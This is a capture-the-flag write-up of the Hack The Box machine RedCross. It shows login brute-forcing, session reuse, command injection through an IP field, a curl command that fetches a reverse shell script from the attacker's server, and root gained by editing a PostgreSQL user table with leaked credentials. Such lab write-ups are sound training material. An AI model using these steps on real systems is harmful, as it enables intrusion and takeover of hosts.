Hack The Box - RedCross

Quick Summary

Hey guys today RedCross retired and here is my write-up about it. To get an initial shell on this box there are two ways , first one is to exploit an authenticated RCE which gives you a shell as www-data , then escalate to root. The second way is to exploit a vulnerable smtp server called Haraka to get a shell as user then escalate to root. Both of the ways were fun and I liked this box. It’s a medium-rated linux box and its ip is 10.10.10.113 I added it to /etc/hosts as redcross.htb . Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services :

nmap -sV -sT -sC redcross.htb

Port 22 is open and running ssh , there’s http and https on ports 80 and 443. As always we will check http.

HTTP Initial Enumeration

By going to http://redcross.htb it redirects us to https://intra.redcross.htb

I added intra.redcross.htb to /etc/hosts next to the ip of the box which is 10.10.10.113

Let’s go to intra.redcross.htb again :

Before doing anything I wanted to see if there are any other subdomains , so I used wfuzz with subdomains-top1mil-5000.txt from seclists :

wfuzz -c -w subdomains-top1mil-5000.txt -H "HOST:FUZZ.redcross.htb" https://redcross.htb

Responses for non-existing subdomains are 28 words so I stopped the scan to add --hw 28 to filter these responses :

wfuzz -c -w subdomains-top1mil-5000.txt -H "HOST:FUZZ.redcross.htb" https://redcross.htb

And we got admin.redcross.htb , So I added it to /etc/hosts :

Note : to enumerate every subdoamin there has to be an entry for that subdomain in /etc/hosts that points to the ip of the box , that’s why I added the HOST HTTP header ( -H "HOST:FUZZ.redcross.htb" ) , it solves the problem.

Now let’s go to admin.redcross.htb and see what’s there :

It asks for login , we will get into this later but let’s go back to intra.redcross.htb and see what can we do from there.

We need to login , I tried to bruteforce the login with wfuzz , so I intercepted the request with burp to see the parameters :

Then I used wfuzz like we did before (I filtered responses with 32 chars). I used a small list for common credentials like admin:admin , top-usernames-shortlist.txt from seclists.

wfuzz -c --hh 11 -u "https://intra.redcross.htb/pages/actions.php" -X POST -d "user=FUZZ&pass=FUZZ&action=login" -w top-usernames-shortlist.txt

guest:guest gave us a different response. Let’s try it :

And it worked. And we see this message :

From: admin (uid 1)	To: guest (uid 5)

You're granted with a low privilege access while we're processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.

Broken Session Management , Admin Panel

After some enumeration I found that after being authenticated as guest on intra.redcross.htb you can use the session id on admin.redcross.htb and it will work :

Now we have access to the admin panel , there are two areas : User Management and Network Access

User Management :

Can we really add users ? Let’s try test :

Nice it gave us the credentials , let’s try ssh :

And it worked , but it seems like we are not on the actual host , we are in a container or a jail , let’s look at /home :

interface_data and public ? Last thing I checked was /etc/passwd to know any possible user :

There’s a user called penelope , but no /home directory for penelope . So I gave up on this and looked at Network Access :

I added my ip address to the whitelist:

Then I scanned the box with nmap again to see if some new ports show up :

there’s ftp on port 21 (anonymous login not allowed), postgresql SQL database on port 5432 and a service on port 1025 but nmap couldn’t really identify it. Now there are two ways to continue , I will show the RCE first.

RCE on admin.redcross.htb , Reverse Shell as www-data

On the Network Access Section you can add and remove ips from the whitelist , I added a random ip , let’s say 11.11.11.11 and intercepted the two requests with burp :

Allow request :

Response :

Deny request :

Response :

We notice that it’s saying Executing iptables , so the ip we provide will be a part of a system command. I added |ls to the ip parameter in the deny request and got this response :

Nice we have an RCE , let’s get a reverse shell , I created a reverse shell and called it shell.sh :

Then I hosted it on a python simple HTTP server , and downloaded it on the box : curl http://10.10.xx.xx/shell.sh > /tmp/shell.sh

Python Server :

Let’s verify that the shell is on the box :

Nice let’s execute :

bash /tmp/shell.sh

We got a shell as www-data :

And we see in /home a directory for penelope , but we can’t read the user flag.

Hardcoded PostgreSQL Database Credentials , Privilege Escalation to root

In the root directory of the web application , there’s an interseting php file called actions.php . Interesting because it handled everything , we saw it earlier in all the POST requests. I looked into it and found credentials for a db user called unixusrmgr :

if($action==='del'){
        header('refresh:1;url=/?page=users');
        $uid=$_POST['uid'];
        $dbconn = pg_connect("host=10.10.10.113 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
        $result = pg_prepare($dbconn, "q1", "delete from passwd_table where uid = $1");
        $result = pg_execute($dbconn, "q1", array($uid));
        echo "User account deleted";
}

We knew earlier that the database is PostgreSQL , let’s connect :

Some Cheatcheets for PostgreSQL :

Github

postgresqltutorial.com

psql -h 127.0.0.1 -d unix -U unixusrmgr

\dt to list the tables :

I did select * from passwd_table; and got some users with their password hashes and other info , so I went back to the admin panel and added a user called rick :

Then I did select * from passwd_table; again :

We notice that the homedir is set to /var/jail/home that’s why we can’t access the actual host with created users. Also the gid is set to 1001 . Let’s set that to 0 (root) :

update passwd_table set gid=0 where gid=1001;

Now the gid is 0 :

Let’s also change the homedir :

update passwd_table set homedir='/home' where homedir='/var/jail/home';

Let’s login with ssh again :

by checking our gid :

It’s root , we still can’t read the flags :

We can’t also sudo :

Weird , I checked /etc/sudoers and saw this line :

If we got the gid of the group sudo , we will be able to run sudo.

cat /etc/group | grep sudo

The gid is 27 , let’s return to the database and change our gid from 0 to 27 :

update passwd_table set gid=27 where gid=0; select * from passwd_table;

Great , let’s terminate our ssh connection and login again. We are now a member of sudo and we can run sudo , so sudo su will give us a root shell.